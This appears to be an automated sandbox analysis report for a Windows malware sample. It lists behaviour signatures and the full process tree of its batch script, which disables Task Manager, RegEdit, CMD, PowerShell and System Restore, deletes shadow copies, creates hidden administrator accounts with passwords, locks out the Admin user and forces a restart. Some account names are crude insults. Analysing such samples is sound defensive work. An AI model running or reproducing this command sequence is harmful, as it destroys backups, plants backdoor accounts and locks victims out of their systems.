Analysis

  • user interaction
    yes
  • max time kernel
    50s
  • max time network
    54s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-fr
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-frlocale:fr-fros:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 10:42

Errors

Reason
Machine shutdown

General

  • Target
    Puppyprotect-se-V14-Proper-MS-Dickhead.exe
  • Size 92KB
  • Sample261024-mrz89abs5m
  • SHA256 1d7f1b23008a466560f2f708b58ac530b4170071ec4a3f702684b2701a5749e9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Creates a new local user account 1 TTPs 6 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 15 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe
    "C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\764F.tmp\7650.tmp\7651.bat C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\system32\reg.exe
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
        3⤵
        • Modifies registry key
        PID:6040
      • C:\Windows\system32\reg.exe
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoPropertiesMyComputer /t REG_DWORD /d 1 /f
        3⤵
        • Modifies registry key
        PID:2012
      • C:\Windows\system32\reg.exe
        REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
        • Modifies registry key
        PID:5364
      • C:\Windows\system32\reg.exe
        REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 0 /f
        3⤵
          PID:5168
        • C:\Windows\system32\reg.exe
          REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell /v DisablePowerShell /t REG_DWORD /d 1 /f
          3⤵
          • Modifies registry key
          PID:5856
        • C:\Windows\system32\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
          3⤵
            PID:256
          • C:\Windows\system32\ReAgentc.exe
            reagentc /disable
            3⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            PID:1052
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:6020
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\MMC /f
            3⤵
            • Modifies registry key
            PID:1328
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\MMC /v RestrictToPermittedSnapins /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:4672
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033} /v Restrict_Run /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:1220
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\Software\Policies\Microsoft\MMC\{90087284-d6d6-11d0-8353-00a0c90640bf} /v Restrict_Run /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:4576
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\Software\Policies\Microsoft\MMC\{975797FC-4E2A-11D0-B702-00C04FD8DBF7} /v Restrict_Run /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:2576
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\Software\Policies\Microsoft\MMC\{803E14A0-B4FB-11D0-A0D0-00A0C90F574B} /v Restrict_Run /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:3380
          • C:\Windows\system32\reg.exe
            REG ADD HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3} /v Restrict_Run /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:5200
          • C:\Windows\system32\reg.exe
            REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoConnectedUser /t REG_DWORD /d 3 /f
            3⤵
            • Modifies registry key
            PID:2724
          • C:\Windows\system32\net.exe
            net user mummyqueen mummyqueen208 /add
            3⤵
            • Creates a new local user account
            • Suspicious use of WriteProcessMemory
            PID:2164
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user mummyqueen mummyqueen208 /add
              4⤵
              • Creates a new local user account
              PID:2656
          • C:\Windows\system32\net.exe
            net localgroup administrators mummyqueen /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2804
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup administrators mummyqueen /add
              4⤵
                PID:1872
            • C:\Windows\system32\net.exe
              net user mummyqueen /active:yes
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1532
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user mummyqueen /active:yes
                4⤵
                  PID:5752
              • C:\Windows\system32\net.exe
                net user puppyuser mummysbitch /add
                3⤵
                • Creates a new local user account
                • Suspicious use of WriteProcessMemory
                PID:4868
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user puppyuser mummysbitch /add
                  4⤵
                  • Creates a new local user account
                  PID:1152
              • C:\Windows\system32\net.exe
                net localgroup users puppyuser /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2388
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup users puppyuser /add
                  4⤵
                    PID:1664
                • C:\Windows\system32\net.exe
                  net user puppyuser /active:yes
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3664
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user puppyuser /active:yes
                    4⤵
                      PID:1356
                  • C:\Windows\system32\net.exe
                    net user puppyadmin woofmummy208 /add
                    3⤵
                    • Creates a new local user account
                    • Suspicious use of WriteProcessMemory
                    PID:4356
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user puppyadmin woofmummy208 /add
                      4⤵
                      • Creates a new local user account
                      PID:3984
                  • C:\Windows\system32\net.exe
                    net localgroup administrators puppyadmin /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5544
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup administrators puppyadmin /add
                      4⤵
                        PID:5748
                    • C:\Windows\system32\net.exe
                      net user puppyadmin /active:yes
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:768
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user puppyadmin /active:yes
                        4⤵
                          PID:2108
                      • C:\Windows\system32\net.exe
                        net localgroup users Admin /add
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3644
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 localgroup users Admin /add
                          4⤵
                            PID:4664
                        • C:\Windows\system32\net.exe
                          net localgroup administrators Admin /delete
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4328
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup administrators Admin /delete
                            4⤵
                              PID:5996
                          • C:\Windows\system32\net.exe
                            net user Admin imadumbbitch
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5756
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user Admin imadumbbitch
                              4⤵
                                PID:1196
                            • C:\Windows\system32\net.exe
                              net user Admin /active:no
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4400
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user Admin /active:no
                                4⤵
                                  PID:3696
                              • C:\Windows\system32\net.exe
                                net accounts /maxpwage:unlimited
                                3⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1824
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                  4⤵
                                    PID:3288
                                • C:\Windows\system32\reg.exe
                                  REG ADD HKCU\SOFTWARE\Policies\Microsoft\Windows\System /f
                                  3⤵
                                  • Modifies registry key
                                  PID:3096
                                • C:\Windows\system32\reg.exe
                                  REG ADD HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Modifies registry key
                                  PID:432
                                • C:\Windows\system32\reg.exe
                                  REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Disables RegEdit via registry modification
                                  • Modifies registry key
                                  PID:3128
                                • C:\Windows\system32\shutdown.exe
                                  Shutdown /r /t 30
                                  3⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3060
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1924
                            • C:\Windows\system32\vssvc.exe
                              C:\Windows\system32\vssvc.exe
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4520
                            • C:\Windows\System32\PickerHost.exe
                              C:\Windows\System32\PickerHost.exe -Embedding
                              1⤵
                              • Suspicious use of SetWindowsHookEx
                              PID:1384
                            • C:\Windows\system32\LogonUI.exe
                              "LogonUI.exe" /flags:0x4 /state0:0xa39c2055 /state1:0x41c64e6d
                              1⤵
                              • Modifies data under HKEY_USERS
                              • Suspicious use of SetWindowsHookEx
                              PID:6092
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k GPSvcGroup
                              1⤵
                                PID:1836
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k CameraMonitor
                                1⤵
                                  PID:3676

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      7651.bat

                                      • Path C:\Users\Admin\AppData\Local\Temp\764F.tmp\7650.tmp\7651.bat
                                      • Size 2KB
                                      • SHA256 0e08ce6148bb6b7c0fa70a2fbfedad7e0e7adcfd76af6d95cae3874e5a67567c
                                      • MD5 SHA1 SHA512 TLSH

                                      memory/4100-0-0x0000000000417000-0x0000000000418000-memory.dmp